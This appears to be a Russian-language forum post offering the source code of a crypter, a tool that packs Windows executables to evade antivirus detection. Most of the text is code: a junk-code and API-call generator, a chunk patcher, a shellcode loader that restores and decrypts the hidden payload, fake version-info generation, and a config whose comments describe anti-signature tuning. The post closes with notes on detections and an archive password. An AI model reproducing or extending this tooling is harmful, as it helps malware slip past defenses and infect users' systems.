{ATF_A_OR_W, NULL, {NULL, PT_ADDVAR, MVT_HENHMETAFILE}, "CopyEnhMetaFile", {{NULL, PT_ADDVAR, MVT_HENHMETAFILE}, {NULL, PT_ADDVAR, MVT_PTCHAR}, {NULL,PT_NONE,0}}},
{ATF_A_OR_W, NULL, {NULL, PT_ADDVAR, MVT_HMETAFILE}, "CopyMetaFile", {{NULL, PT_ADDVAR, MVT_HMETAFILE}, {NULL, PT_ADDVAR, MVT_PTCHAR}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "DPtoLP", {{NULL, PT_ADDVAR, MVT_HDC}, {"(LPPOINT)", PT_PTR_ANY}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_INT32}, "DrawEscape", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {"(LPCSTR)", PT_PTR_ANY}, {NULL,PT_NONE,0}}},
...
Движок позволяет генерировать winapi, принающие на вход целые структуры данных:
Код:
bool mImportKernel32Sysinfo::get_api(mCode& code, WORD api_id, bool is_loop, bool is_trash)
{
PMVAR_INFO var1, var2;
switch( api_id )
{
case 0:
if( procs->get_procs_type()==IPT_A )
{
var1 = procs->get_or_add_var(MVT_OSVERSIONINFOA);
}else{
var1 = procs->get_or_add_var(MVT_OSVERSIONINFOW);
}
switch( var1->userdata )
{
case 0: code << var1->name << ".dwOSVersionInfoSize = sizeof(OSVERSIONINFO" << procs->get_procs_string() << ");"; break;
default:
var2 = procs->get_or_add_var(MVT_BOOL);
code << var2->name << " = GetVersionEx" << procs->get_procs_string() << "(&" << var1->name << ");";
break;
}
var1->userdata++;
break;
case 1:
if( procs->get_procs_type()==IPT_A )
{
var1 = procs->get_or_add_var(MVT_OSVERSIONINFOEXA);
}else{
var1 = procs->get_or_add_var(MVT_OSVERSIONINFOEXW);
}
switch( var1->userdata )
{
case 0: code << var1->name << ".dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX" << procs->get_procs_string() << ");"; break;
case 1:
var2 = procs->get_or_add_var(MVT_BOOL);
code << var2->name << " = GetVersionEx" << procs->get_procs_string() << "((OSVERSIONINFO" << procs->get_procs_string() << "*)&" << var1->name << ");"; break;
default:
var2 = procs->get_or_add_var(MVT_BOOL);
code << var2->name << " = VerifyVersionInfo" << procs->get_procs_string() << "(&" << var1->name << ", " << (1 << random.get_less(0,8)) << ", NULL);";
break;
}
var1->userdata++;
break;
case 2:
var1 = procs->get_or_add_var(MVT_LARGE_INTEGER);
if( var1->userdata==0 )
{
var1->userdata++;
code <<"QueryPerformanceFrequency(&" << var1->name << ");";
}else{
code <<"QueryPerformanceCounter(&" << var1->name << ");";
}
break;
default:
api_id -= 3;
PAPI_TEMPLATE temp = &sysinfo_templates[ api_id ];
procs->parse(code, temp, NULL, is_trash);
break;
}
return true;
}
Обратим внимание на генерацию CreateFile, как видите можно контролировать даже уровни доступа.
Обратите внимание на реализацию примитивов в кодогенераторе: add_bits, add_shift, add_null, add_rand - это по истинце огромный потенциал для развития проекта.
Код:
bool mImportKernel32Files::get_api(mCode& code, WORD api_id, bool is_loop, bool is_trash)
{
PMVAR_INFO var;
if( !is_loop )
{
var = procs->get_or_add_var(MVT_FILE);
}else{
var = procs->get_var(MVT_FILE);
if( !var )
return false;
}
if( !var->userdata )
{
MIMPORT_KERNEL32_GROUP_FILES* info = units.get_new_chunk();
var->userdata = (DWORD)info;
info->perm = random.get_less(1,4); // 1 - read , 2 - write
if( procs->get_procs_type()==IPT_A )
{
code << var->name << " = CreateFileA(";
}else{
code << var->name << " = CreateFileW(";
}
add_path(code, 0);
PCHAR Permissions[] = {
"GENERIC_READ",
"GENERIC_WRITE"
};
add_bits(code, TRUE, info->perm, Permissions);
add_shift(code, TRUE, 0, 3); // file share
add_null(code, TRUE); // sec attr
add_rand(code, TRUE, 0, 5); // create attr
add_shift(code, TRUE, 1, 10); // file attr
add_null(code, TRUE); // template
code << ");";
return true;
}
PAPI_TEMPLATE temp = &files_templates[ api_id ];
procs->parse(code, temp, var, is_trash);
return true;
}
Патчер - mOutputPatcher.cpp
Его главная задача промаркировать метки чунков для того чтобы шеллкод при сборке нашел их и восстановил оригинальный буфер в правильном порядке:
Подробнее смотрите функцию mOutputPatcher:atch_markers().
Если упростить, то на вход подаётся скомпилированный криптованный файл и сериализованный буфер криптованного файла в x64 - далее он патчит метки чунков в файле легитимными буферами.
Код:
void _tmain(int _Argc, PTCHAR argv[])
{
if( _Argc < 2 )
{
_tprintf(_T("Usage: patcher.exe <file> <serialized_data_base64>\r\n"));
return;
}
PTCHAR out_file = argv[1];
PTCHAR patch_file = argv[2];
_tprintf(_T("Output: %s\r\n"), out_file);
_tprintf(_T("Patch data: %s\r\n"), patch_file);
mOutputPatcher patch(out_file);
PMBUF d = file_get_contents(patch_file);
if( patch.unserialize((PCHAR)d->data, d->size) )
{
printf("Total markers: %d\r\n", patch.get_count());
patch.patch_markers();
}else{
printf("Error: unserialize failed!\r\n");
}
}
Генерация ресурсов:
пример генерации версии инфо легитимными словами из списка, не абракадабра.
Добавьте сюда генерацию остальных ресурсов свойственным приложениям из под копилятора Visual Studio и вариативность таблицы ресурсов вырастет в разы.
Код:
void mResourceBuilder::generate_version_info()
{
begin_resource();
mCode verinfo(0xFFFF);
CHAR version[256];
CHAR verdot[256];
DWORD a,b,c,d;
a = random.get_less(1,9);
b = random.get_less(0,312);
c = random.get_less(0,312);
d = random.get_less(0,9);
wsprintfA(version,"%d,%d,%d,%d",a,b,c,d);
wsprintfA(verdot,"%d.%d.%d.%d",a,b,c,d);
verinfo << "1 VERSIONINFO\r\n";
verinfo << "\tFILEVERSION " << version << "\r\n";
verinfo << "\tPRODUCTVERSION " << version << "\r\n";
verinfo << "\tFILEOS 0x4\r\n";
verinfo << "\tFILETYPE 0x1\r\n";
verinfo << "\r\n";
verinfo << "\tBEGIN\r\n";
verinfo << "\tBLOCK \"StringFileInfo\"\r\n";
verinfo << "\tBEGIN\r\n";
verinfo << "\t\tBLOCK \"040904E4\"\r\n";
verinfo << "\t\tBEGIN\r\n" ;
verinfo << "\t\t\tVALUE \"Comments\", \""; get_sentence(verinfo, 2, 6); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"CompanyName\", \""; get_sentence(verinfo, 1 , 3); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"FileDescription\", \""; get_sentence(verinfo, 2, 6); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"FileVersion\", \"" << verdot << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"InternalName\", \""; get_sentence(verinfo,1 , 2); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"LegalCopyright\", \"Copyright © "; get_sentence(verinfo, 2, 6); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"LegalTrademarks\", \""; get_sentence(verinfo, 2, 6); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"OriginalFilename\", \"";get_sentence(verinfo,1 , 2); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"ProductName\", \""; get_sentence(verinfo,1 , 2); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"ProductVersion\", \"" << verdot << "\\0\"\r\n";
verinfo << "\t\tEND\r\n" ;
verinfo << "\tEND\r\n" ;
verinfo << "\r\n";
verinfo << "\tBLOCK \"VarFileInfo\"\r\n" ;
verinfo << "\tBEGIN\r\n" ;
verinfo << "\t\tVALUE \"Translation\", 0x081A 0x081A\r\n" ;
verinfo << "\tEND\r\n" ;
verinfo << "END\r\n\r\n" ;
rc.add(verinfo);
total++;
}
Описание конфига криптора:
Код:
MCONFIG_OPTION options[] = {
{"config.not_use_crt_stub",FIELD_OFFSET(mConfig,not_use_crt_stub),COT_DIGIT8}, // генерировать рантайм стаб или код сразу начинается с точки входа
{"config.code.blocks.count.min",FIELD_OFFSET(mConfig,code.blocks.count.min),COT_DIGIT32}, // минимальный размер блока кода
{"config.code.blocks.count.max",FIELD_OFFSET(mConfig,code.blocks.count.max),COT_DIGIT32}, // максимальный размер блока кода
{"config.vars.decryptor.trash_between.min",FIELD_OFFSET(mConfig,vars.decryptor.trash_between.min),COT_DIGIT32}, // минимальный размер операций в блоке кода
{"config.vars.decryptor.trash_between.max",FIELD_OFFSET(mConfig,vars.decryptor.trash_between.max),COT_DIGIT32}, // максимальный размер операций в блоке кода
{"config.shellcode.trash_after.min",FIELD_OFFSET(mConfig,shellcode.trash_after.min),COT_DIGIT32}, // минимальный размер мусорного кода после шеллкода
{"config.shellcode.trash_after.max",FIELD_OFFSET(mConfig,shellcode.trash_after.max),COT_DIGIT32}, // максимальный размер мусорного кода после шеллкода
{"config.shellcode.trash_before.min",FIELD_OFFSET(mConfig,shellcode.trash_before.min),COT_DIGIT32}, // минимальный размер мусорного кода до шеллкода
{"config.shellcode.trash_before.max",FIELD_OFFSET(mConfig,shellcode.trash_before.max),COT_DIGIT32}, // максимальный размер мусорного кода до шеллкода
{"config.code.block_loop.max_levels",FIELD_OFFSET(mConfig,code.block_loop.max_levels),COT_DIGIT8}, // уровень глубины в циклах
{"config.code.block_loop.interations.min",FIELD_OFFSET(mConfig,code.block_loop.interations.min),COT_DIGIT32}, // минимальное кол-во итераций в цикле
{"config.code.block_loop.interations.max",FIELD_OFFSET(mConfig,code.block_loop.interations.max),COT_DIGIT32}, // максимальный кол-во итераций в цикле
{"config.code.block_loop.inner_blocks.min",FIELD_OFFSET(mConfig,code.block_loop.inner_blocks.min),COT_DIGIT32}, // минимальное размер внутреннего блока кода
{"config.code.block_loop.inner_blocks.max",FIELD_OFFSET(mConfig,code.block_loop.inner_blocks.max),COT_DIGIT32}, // максимальный размер внутреннего блока кода
{"config.code.block_if.inner_blocks.min",FIELD_OFFSET(mConfig,code.block_if.inner_blocks.min),COT_DIGIT32}, // минимальное кол-во условий во внутреннем блоке кода
{"config.code.block_if.inner_blocks.max",FIELD_OFFSET(mConfig,code.block_if.inner_blocks.max),COT_DIGIT32}, // максимальный кол-во условий во внутреннем блоке кода
{"config.code.block_if.max_levels",FIELD_OFFSET(mConfig,code.block_if.max_levels),COT_DIGIT8}, // максимальное кол-во уровней условий
{"config.image.extend.min",FIELD_OFFSET(mConfig,image.extend.min),COT_DIGIT32},
{"config.image.extend.max",FIELD_OFFSET(mConfig,image.extend.max),COT_DIGIT32},
{"config.image.rdata",FIELD_OFFSET(mConfig,image.rdata),COT_DIGIT8},
{"config.image.data",FIELD_OFFSET(mConfig,image.data),COT_DIGIT8},
{"config.code.usage.papi",FIELD_OFFSET(mConfig,code.usage.api),COT_DIGIT8}, // разрешить использование генерации api
{"config.code.usage.pcode",FIELD_OFFSET(mConfig,code.usage.code),COT_DIGIT8}, // разрешить использование генерации мусорного кода
{"config.code.usage.ploop",FIELD_OFFSET(mConfig,code.usage.loop),COT_DIGIT8}, // разрешить использование циклов в генерации кода
{"config.code.usage.pif",FIELD_OFFSET(mConfig,code.usage._if),COT_DIGIT8}, // разрешить использование условий в генерации кода
{"config.code.block_code.add",FIELD_OFFSET(mConfig,code.block_code.add),COT_DIGIT8}, // разрешить использование операций сложения в генерации кода
{"config.code.block_code.sub",FIELD_OFFSET(mConfig,code.block_code.sub),COT_DIGIT8}, // всё понятно
{"config.code.block_code.mul",FIELD_OFFSET(mConfig,code.block_code.mul),COT_DIGIT8}, // всё понятно
{"config.code.block_code.div",FIELD_OFFSET(mConfig,code.block_code.div),COT_DIGIT8}, // всё понятно
{"config.code.block_code.mod",FIELD_OFFSET(mConfig,code.block_code.mod),COT_DIGIT8}, // всё понятно
{"config.code.block_code.shl",FIELD_OFFSET(mConfig,code.block_code.shl),COT_DIGIT8}, // всё понятно
{"config.code.block_code.shr",FIELD_OFFSET(mConfig,code.block_code.shr),COT_DIGIT8}, // всё понятно
{"config.code.block_code.and",FIELD_OFFSET(mConfig,code.block_code.and),COT_DIGIT8}, // всё понятно
{"config.code.block_code.xor",FIELD_OFFSET(mConfig,code.block_code.xor),COT_DIGIT8}, // всё понятно
{"config.code.block_code.or",FIELD_OFFSET(mConfig,code.block_code.or),COT_DIGIT8}, // всё понятно
{"config.vars.usage_left.globals",FIELD_OFFSET(mConfig,vars.usage_left.globals),COT_DIGIT8}, //
{"config.vars.usage_left.locals",FIELD_OFFSET(mConfig,vars.usage_left.locals),COT_DIGIT8},
{"config.vars.usage_left.formals",FIELD_OFFSET(mConfig,vars.usage_left.formals),COT_DIGIT8},
{"config.vars.usage_right.globals",FIELD_OFFSET(mConfig,vars.usage_right.globals),COT_DIGIT8},
{"config.vars.usage_right.locals",FIELD_OFFSET(mConfig,vars.usage_right.locals),COT_DIGIT8},
{"config.vars.usage_right.formals",FIELD_OFFSET(mConfig,vars.usage_right.formals),COT_DIGIT8},
{"config.vars.usage_api.globals",FIELD_OFFSET(mConfig,vars.usage_api.globals),COT_DIGIT8},
{"config.vars.usage_api.locals",FIELD_OFFSET(mConfig,vars.usage_api.locals),COT_DIGIT8},
{"config.vars.types.int8",FIELD_OFFSET(mConfig,vars.types[MVT_INT8]),COT_DIGIT8},
{"config.vars.types.int16",FIELD_OFFSET(mConfig,vars.types[MVT_INT16]),COT_DIGIT8},
{"config.vars.types.int32",FIELD_OFFSET(mConfig,vars.types[MVT_INT32]),COT_DIGIT8},
{"config.vars.types.int64",FIELD_OFFSET(mConfig,vars.types[MVT_INT64]),COT_DIGIT8},
{"config.vars.types.uint8",FIELD_OFFSET(mConfig,vars.types[MVT_UINT8]),COT_DIGIT8},
{"config.vars.types.uint16",FIELD_OFFSET(mConfig,vars.types[MVT_UINT16]),COT_DIGIT8},
{"config.vars.types.uint32",FIELD_OFFSET(mConfig,vars.types[MVT_UINT32]),COT_DIGIT8},
{"config.vars.types.uint64",FIELD_OFFSET(mConfig,vars.types[MVT_UINT64]),COT_DIGIT8},
{"config.vars.getoradd.code.globals.add",FIELD_OFFSET(mConfig,vars.getoradd.code.globals.add),COT_DIGIT8},
{"config.vars.getoradd.code.globals.get",FIELD_OFFSET(mConfig,vars.getoradd.code.globals.get),COT_DIGIT8},
{"config.vars.getoradd.code.locals.add",FIELD_OFFSET(mConfig,vars.getoradd.code.locals.add),COT_DIGIT8},
{"config.vars.getoradd.code.locals.get",FIELD_OFFSET(mConfig,vars.getoradd.code.locals.get),COT_DIGIT8},
{"config.vars.getoradd.api.globals.add",FIELD_OFFSET(mConfig,vars.getoradd.api.globals.add),COT_DIGIT8},
{"config.vars.getoradd.api.globals.get",FIELD_OFFSET(mConfig,vars.getoradd.api.globals.get),COT_DIGIT8},
{"config.vars.getoradd.api.locals.add",FIELD_OFFSET(mConfig,vars.getoradd.api.locals.add),COT_DIGIT8},
{"config.vars.getoradd.api.locals.get",FIELD_OFFSET(mConfig,vars.getoradd.api.locals.get),COT_DIGIT8},
{"config.vars.initialization.globals.yes",FIELD_OFFSET(mConfig,vars.initialization.globals.yes),COT_DIGIT8},
{"config.vars.initialization.globals.no",FIELD_OFFSET(mConfig,vars.initialization.globals.no),COT_DIGIT8},
{"config.vars.initialization.locals.yes",FIELD_OFFSET(mConfig,vars.initialization.locals.yes),COT_DIGIT8},
{"config.vars.initialization.locals.no",FIELD_OFFSET(mConfig,vars.initialization.locals.no),COT_DIGIT8},
{"config.vars.initialization.types.t_int8.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_int8.min),COT_DIGIT32},
{"config.vars.initialization.types.t_int8.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_int8.max),COT_DIGIT32},
{"config.vars.initialization.types.t_int16.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_int16.min),COT_DIGIT32},
{"config.vars.initialization.types.t_int16.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_int16.max),COT_DIGIT32},
{"config.vars.initialization.types.t_int32.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_int32.min),COT_DIGIT32},
{"config.vars.initialization.types.t_int32.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_int32.max),COT_DIGIT32},
{"config.vars.initialization.types.t_int64.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_int64.min),COT_DIGIT64},
{"config.vars.initialization.types.t_int64.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_int64.max),COT_DIGIT64},
{"config.vars.initialization.types.t_uint8.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint8.min),COT_DIGIT32},
{"config.vars.initialization.types.t_uint8.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint8.max),COT_DIGIT32},
{"config.vars.initialization.types.t_uint16.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint16.min),COT_DIGIT32},
{"config.vars.initialization.types.t_uint16.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint16.max),COT_DIGIT32},
{"config.vars.initialization.types.t_uint32.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint32.min),COT_DIGIT32},
{"config.vars.initialization.types.t_uint32.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint32.max),COT_DIGIT32},
{"config.vars.initialization.types.t_uint64.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint64.min),COT_DIGIT64},
{"config.vars.initialization.types.t_uint64.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint64.max),COT_DIGIT64},
{"config.vars.path.length.min",FIELD_OFFSET(mConfig,vars.path.length.min),COT_DIGIT32},
{"config.vars.path.length.max",FIELD_OFFSET(mConfig,vars.path.length.max),COT_DIGIT32},
};
Сам конфиг:
config.ini
Код:
// max blocks count range
config.code.blocks.count.min = 5000;
config.code.blocks.count.max = 20000;
// after each decryptor command, will added trash, anti signature
config.vars.decryptor.trash_between.min = 2;
config.vars.decryptor.trash_between.max = 5;
// trash_before + shellcode + orig_file + trash_after
config.shellcode.trash_after.min = 25;
config.shellcode.trash_after.max = 35;
config.shellcode.trash_before.min = 25;
config.shellcode.trash_before.max = 45;
config.code.block_loop.max_levels = 3; // for in for in for ....
config.code.block_loop.interations.min = 10;
config.code.block_loop.interations.max = 100;
config.code.block_loop.inner_blocks.min = 10;
config.code.block_loop.inner_blocks.max = 50;
config.code.block_if.inner_blocks.min = 5;
config.code.block_if.inner_blocks.max = 8;
config.code.block_if.max_levels = 3; // if in if in if
// if crypted_sizeofimage < orig_sizeofimage then add fake_data + fake_rdata + config.image.extend
config.image.extend.min = 0;
config.image.extend.max = 12000;
config.image.rdata = 60;
config.image.data = 40;
// blocks percentage
config.code.usage.papi = 5;
config.code.usage.pcode = 10;
config.code.usage.ploop = 20;
config.code.usage.pif = 5;
// operators in code block after =, += ,-=,...
config.code.block_code.groups.min = 1; // ONLY 1 NOT CHANGE!!!
config.code.block_code.groups.max = 1; // ONLY 1 NOT CHANGE!!!
// not used anymore
config.code.block_code.subgroup.min = 5;
config.code.block_code.subgroup.max = 5;
// commands percentage
config.code.block_code.add = 30;
config.code.block_code.sub = 30;
config.code.block_code.mul = 10;
config.code.block_code.div = 5;
config.code.block_code.mod = 0; // MUSTFIX: DO NOT USE, EMULATION ERRORS
config.code.block_code.shl = 5;
config.code.block_code.shr = 5;
config.code.block_code.and = 10;
config.code.block_code.xor = 5;
config.code.block_code.or = 5;
// which types of variables will be created
config.vars.usage.globals = 20;
config.vars.usage.locals = 35;
config.vars.usage.formals = 35;
// which types of variables will be generated BYTE, WORD, DWORD, DWORD64 ...
config.vars.types.t_int8 = 15;
config.vars.types.t_int16 = 15;
config.vars.types.t_int32 = 20;
config.vars.types.t_int64 = 0;
config.vars.types.t_uint8 = 15;
config.vars.types.t_uint16 = 15;
config.vars.types.t_uint32 = 20;
config.vars.types.t_uint64 = 0;
// vars get or add variable, if get fails with type then auto add
config.vars.getoradd.code.globals.add = 50;
config.vars.getoradd.code.globals.get = 50;
config.vars.getoradd.code.locals.add = 20;
config.vars.getoradd.code.locals.get = 80;
config.vars.getoradd.api.globals.add = 50;
config.vars.getoradd.api.globals.get = 50;
config.vars.getoradd.api.locals.add = 50;
config.vars.getoradd.api.locals.get = 50;
// initialize globals
config.vars.initialization.globals.yes = 100;
config.vars.initialization.globals.no = 0;
// initialize locals
config.vars.initialization.locals.yes = 0;
config.vars.initialization.locals.no = 100;
// initialization value ranges, may be for entropy
config.vars.initialization.types.t_int8.min = 0;
config.vars.initialization.types.t_int8.max = 0x7F; // max 0x7F
config.vars.initialization.types.t_int16.min = 0;
config.vars.initialization.types.t_int16.max = 0x7FFF; // max 0x7FFF
config.vars.initialization.types.t_int32.min = 0;
config.vars.initialization.types.t_int32.max = 0x7FFFFFFF; // max 0x7FFFFFFF
config.vars.initialization.types.t_int64.min = 0x70000000000000;
config.vars.initialization.types.t_int64.max = 0x7FFFFFFFFFFFFF; // max 0x7FFFFFFFFFFFFFFF
config.vars.initialization.types.t_uint8.min = 0;
config.vars.initialization.types.t_uint8.max = -1;
config.vars.initialization.types.t_uint16.min = 0;
config.vars.initialization.types.t_uint16.max = -1;
config.vars.initialization.types.t_uint32.min = 0;
config.vars.initialization.types.t_uint32.max = -1;
config.vars.initialization.types.t_uint64.min = 0x70000000000000;
config.vars.initialization.types.t_uint64.max = 0x7FFFFFFFFFFFFF;
// path for CreateFile
config.vars.path.length.min = 2;
config.vars.path.length.max = 6;
В файле ldr_restore.cpp у нас первый слой шеллкода.
Его задача восстановить чунки файла, расшифровать буфер, получить параметры структуры LDR_PE_LOADER_PARAMS и передать в загрузчик.
Код:
#include <windows.h>
#include <intrin.h>
#pragma pack(push,1)
typedef struct _LDR_RESTORE_PARAMS
{
PBYTE orig_data;
PBYTE entr_data;
DWORD_PTR base;
}LDR_RESTORE_PARAMS, *PLDR_RESTORE_PARAMS;
typedef struct _LDR_PE_LOADER_PARAMS
{
DWORD_PTR base;
PVOID file;
DWORD file_size;
DWORD flags;
}LDR_PE_LOADER_PARAMS, *PLDR_PE_LOADER_PARAMS;
#pragma pack(pop)
typedef void (WINAPI *TD_ldr_pe_loader)(PLDR_PE_LOADER_PARAMS params);
void ldr_restore_ep(PLDR_RESTORE_PARAMS params)
{
DWORD entr_hash = 0x%ENTR_HASH%;
PBYTE entr_data = params->entr_data;
PBYTE entr_end = entr_data + 0x%ENTR_SIZE%;
PBYTE orig_data = params->orig_data;
UINT32 j,i = 0;
while( i < 0x%ADDED_BYTES% )
{
DWORD pos = entr_hash%max_step;
DWORD npart = max_step - (pos + 1);
j = 0;
while( j < max_step )
{
if( j!=pos )
{
*orig_data++ = *entr_data++;
}else{
entr_data = entr_data + 1;
}
j++;
}
%HASH_STRING%
i++;
}
__movsb(orig_data, entr_data, (entr_end - entr_data));
DWORD decr_hash = 0x%DECRYPT_INIT_HASH%;
i = 0;
while( i < %ORIG_SIZE% )
{
%DECRYPT%
%DECRYPT_CALC_HASH%
i++;
}
LDR_PE_LOADER_PARAMS pe_params;
pe_params.base = params->base;
pe_params.file = params->orig_data + %LDR_PE_LOADER_SIZE%;
pe_params.file_size = %FILE_SIZE%;
pe_params.flags = 0x%FLAGS%;
TD_ldr_pe_loader loader = (TD_ldr_pe_loader)params->orig_data;
loader(&pe_params);
}
Как видите, в дебагере код выглядит вполне себе результативно и не отличается от точки входа любого легитимного приложения.
Играя параметрами кодогенератора на уровне конфига можно получить очень вариативный результат в неограниченном количестве.
* В целях дебага на данном примере аргументы winapi вызовов были установлены в NULL.
Поток управления на трех семплах:
* Сгенерированные для статьи семплы использовались с лайт конфигом, т.е. минимум генерации мусорного кода, вин апи. Можно отжать педаль в пол
p.s.
Файл wordlist.txt - список английских слов, используется во время генерации кода и ресурсов.
В файле readme.txt вас бонусом ждет мой небольшой список наблюдений по детектам
Файл солюшена и сам криптор собирался под 2013 студией, не должно быть проблемой собрать на более поздних.
В качестве компилятора используется урезанный компилятор из 2008 студии, можете поменять на более свежий.
Криптор умеет криптовать DLL\EXE х32\х64.
В целях противодействию ресейлу модифицированной версии криптора неблагонадежными персонами ввожу легкий антинуб пасс.
Пароль на архив: xss.is -> base64 -> reverse_str -> sha256
Ниже приведен пример сгенерированного кода.
Пример сгенерированного кода:
Код:
INT32 __stdcall function_trash_13(INT64 arg0, INT32 arg1, UINT32 arg2)
{
LPVOID loc0;
loc0 = CoTaskMemAlloc(0xF4);
arg2 = glob7;
arg1 = *glob8;
return glob4;
}
INT32 __fastcall function_trash_10(INT32 arg0, INT32 arg1)
{
BOOL loc0;
loc0 = CoFileTimeToDosDateTime((FILETIME*)&loc0, (LPWORD)&loc0, (LPWORD)&loc0);
arg1 = *glob8;
function_trash_10(glob4, *glob8);
arg1 = glob4;
return glob4;
}
INT32 __fastcall function_trash_8(UINT64 arg0)
{
GUID loc2;
GUID loc1;
BOOL loc0;
loc0 = IsEqualGUID(loc1, loc2);
arg0 = 0x7CA44E94FC2A76;
function_trash_4(glob3, glob0, 0x35);
return glob4;
}
INT32 __cdecl function_trash_1()
{
INT8 loc3;
PIDLIST_RELATIVE loc0;
INT16 loc1;
PINT16 loc2;
loc0 = ILClone((PCUIDLIST_RELATIVE)&loc0);
loc1 = glob0;
function_trash_1();
loc2 = &glob0;
loc3 = 0x3D;
return glob0;
}
INT32 __stdcall function_trash_9(UINT64 arg0)
{
HRESULT loc0;
loc0 = CoDisconnectObject((LPUNKNOWN)&loc0, 0x1D);
arg0 = 0x7BDD5D51C59D67;
function_trash_10(glob4, *glob8);
return glob4;
}
INT32 __cdecl function_trash_12()
{
IID loc1;
HRESULT loc0;
UINT32 loc2;
loc0 = BindMoniker((LPMONIKER)&loc0, 0xA7, loc1, (LPVOID*)&loc0);
loc2 = glob7;
function_trash_4(*glob6, glob0, 0xE9);
return glob4;
}
INT32 __stdcall function_trash_11(UINT64 arg0, UINT32 arg1, UINT16 arg2, INT32 arg3, UINT16 arg4)
{
HRESULT loc0;
CLSID loc1;
loc0 = CoGetTreatAsClass(loc1, (LPCLSID)&loc0);
arg1 = glob7;
function_trash_6(glob10, arg0, *glob6);
return glob4;
}
INT32 __fastcall function_trash_6(UINT32 arg0, UINT64 arg1, INT8 arg2)
{
HDC loc1;
BOOL loc0;
loc0 = PolyPolygon(loc1, (const POINT*)&loc1, (const INT*)&loc0, 0x2D);
arg0 = 0x0B56;
function_trash_2(arg1, arg2, 0x96, glob1);
return glob0;
}
INT32 __cdecl function_trash_3(UINT16 arg0, UINT16 arg1)
{
BOOL loc0;
PTCHAR loc1;
loc0 = SHGetDiskFreeSpace(loc1, (ULARGE_INTEGER*)&loc1, (ULARGE_INTEGER*)&loc0, (ULARGE_INTEGER*)&loc0);
arg1 = glob1;
return glob0;
}
INT32 __fastcall function_trash_4(INT8 arg0, INT16 arg1, INT64 arg2)
{
UINT32 loc0;
HMETAFILE loc1;
loc0 = GetMetaFileBitsEx(loc1, 0x83, (LPVOID)&loc0);
loc0 = 0x5E5A;
function_trash_5(0x24, 0x7A);
return glob0;
}
INT32 __fastcall function_trash_5(INT32 arg0, INT32 arg1)
{
UINT32 loc0;
HDC loc1;
loc0 = SetLayout(loc1, 0xF7);
loc0 = 0x01A0;
function_trash_3(glob1, glob2);
return glob0;
}
INT32 __fastcall function_trash_2(UINT64 arg0, INT8 arg1, INT32 arg2, UINT16 arg3)
{
ILFree((PIDLIST_RELATIVE)&glob1);
arg3 = glob1;
function_trash_2(arg0, arg1, arg2, glob1);
arg1 = 0x54;
function_trash_2(arg0, arg1, arg2, glob1);
arg0 = 0x7B433AFBE3406A;
function_trash_3(glob1, glob1);
return glob0;
}
Пример сгенерированного и проэмулированного кода на точке входа:
Код:
INT32 __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWCHAR cmdLine, INT32 cmdCount)
{
PBYTE rcdata_byte;
UINT16 loc23;
INT16 loc116;
HRESULT loc95;
UINT16 loc85;
INT8 loc62;
HRESULT loc8;
UINT8 loc52;
PINT8 loc60;
INT8 loc24;
INT32 loc87;
PBYTE rcdata;
UINT8 loc94;
INT64 loc131;
UINT64 loc129;
INT8 loc0;
DWORD hash;
UINT8 loc30;
UINT32 loc58;
INT8 loc44;
PINT16 loc73;
INT32 ldr_restore_size;
PUINT64 loc15;
PUINT64 loc39;
TD_HeapCreate pHeapCreate;
PINT16 loc29;
HDC loc47;
INT64 loc126;
UINT32 loc120;
UINT32 loc123;
UINT16 loc89;
INT16 loc48;
BOOL loc46;
PINT64 loc49;
UINT32 idx9;
PUINT8 loc84;
UINT8 loc7;
UINT32 idx7;
PUINT8 loc59;
UINT32 idx0;
PUINT8 loc80;
UINT16 loc10;
CLSID loc96;
UINT32 loc4;
UINT8 loc27;
INT64 loc83;
PINT8 loc72;
DWORD hc_3;
UINT8 loc53;
UINT16 loc16;
CLSID loc93;
INT8 loc127;
INT32 loc65;
PBYTE executed_byte;
PINT32 loc38;
UINT32 idx8;
PINT16 loc76;
UINT32 i;
PINT8 loc71;
UINT8 loc18;
UINT64 loc111;
INT16 loc68;
UINT32 idx5;
PINT16 loc121;
UINT8 loc130;
UINT64 loc119;
PINT16 loc97;
INT8 loc17;
INT32 loc42;
PINT64 loc26;
UINT8 loc75;
UINT64 loc132;
INT64 loc69;
UINT32 loc5;
PUINT16 loc45;
PINT32 loc99;
INT16 loc6;
INT64 loc12;
PINT64 loc78;
INT8 loc19;
INT16 loc2;
INT8 loc43;
DWORD hc_1;
INT8 loc112;
PINT16 loc90;
PBYTE executed;
UINT8 loc133;
UINT64 loc3;
UINT32 loc20;
PUINT8 loc67;
BYTE bt;
INT16 loc113;
UINT32 idx1;
PWCHAR loc82;
UINT32 idx2;
PINT64 loc37;
UINT32 idx4;
PUINT8 loc124;
BOOL loc92;
